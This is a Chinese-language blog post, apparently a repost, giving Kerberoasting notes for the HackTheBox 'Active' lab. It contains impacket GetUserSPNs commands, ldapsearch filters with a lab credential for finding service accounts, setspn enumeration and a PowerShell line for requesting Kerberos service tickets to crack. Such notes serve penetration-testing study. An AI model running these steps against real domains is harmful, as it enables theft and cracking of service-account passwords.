内网渗透-Kerberoasting
Kerberoasting步骤
1.发现服务
python GetUserSPNs.py -request 域名/域用户
-
请求服务票据
-
导出服务票据
-
破解服务票据
-
重写服务票据&RAM注入
Kerberoasting攻击
获取域控中的用户信息(需要一个已知道的账户)
python3 GetADUsers.py -all active.htb/svc_tgs -dc-ip 10.10.10.100
使用ldapsearch识别配置了 SPN 的帐户。
proxychains4 ldapsearch -x -h 10.10.10.100 -p 389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.1 13556.1.4.803:=2))(serviceprincipalname=*/*))" serviceprincipalname | grep -B 1 servicePrincipalName
获取服务票据
python3 GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18
http://t3ngyu.leanote.com/post/Kerberoasting-Attack
windows攻击
1、查看服务
setspn.exe -T active.htb -F -Q */*
可以看到对应用户对应的服务
CN=Administrator,CN=Users,DC=active,DC=htb active/CIFS:445
2、使用minikazi或者powershell导出票据
3、解密票据
ldapsearch查询语法
查看ldap
ldapsearch -x -h 10.10.10.100 -p 389 -b dc=active,dc=htb -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18'
返回active.htb域中的活动用户:
ldapsearch -x -h 10.10.10.100 -p 389 -b dc=active,dc=htb -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" samaccountname | grep sAMAccountName
查找配置SPN的帐户
ldapsearch -x -h 10.10.10.100 -p 389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=*/*))" serviceprincipalname | grep -B 1 servicePrincipalName
ption 说明-H ldapuri,格式为ldap://机器名或者IP:端口号,不能与-h和-p同时使用-h LDAP服务器IP或者可解析的hostname,与-p可结合使用,不能与-H同时使用-p LDAP服务器端口号,与-h可结合使用,不能与-H同时使用-x 使用简单认证方式-D 所绑定的服务器的DN-w 绑定DN的密码,与-W二者选一-W 不输入密码,会交互式的提示用户输入密码,与-w二者选一-f 指定输入条件,在RFC 4515中有更详细的说明-c 出错后忽略当前错误继续执行,缺省情况下遇到错误即终止-n 模拟操作但并不实际执行,用于验证,常与-v一同使用进行问题定位-v 显示详细信息-d 显示debug信息,可设定级别-s 指定搜索范围, 可选值:base|one|sub|children
总结
1、Kerberoasting攻击的关键是获取到服务名称,也就是SPN服务。只有拿到服务名称之后,才能请求对应到服务票据。
请求服务票据:
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "active/CIFS:445"
通过查询ldap即可获取对应的票据服务。
ldapsearch -x -h 10.10.10.100 -p 389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.1 13556.1.4.803:=2))(serviceprincipalname=*/*))" serviceprincipalname | grep -B 1 servicePrincipalName
2、minikazi的作用是终端中获取票据,将票据导出。
原文始发于微信公众号(土拨鼠的安全屋):内网渗透基础篇-Kerberoasting攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论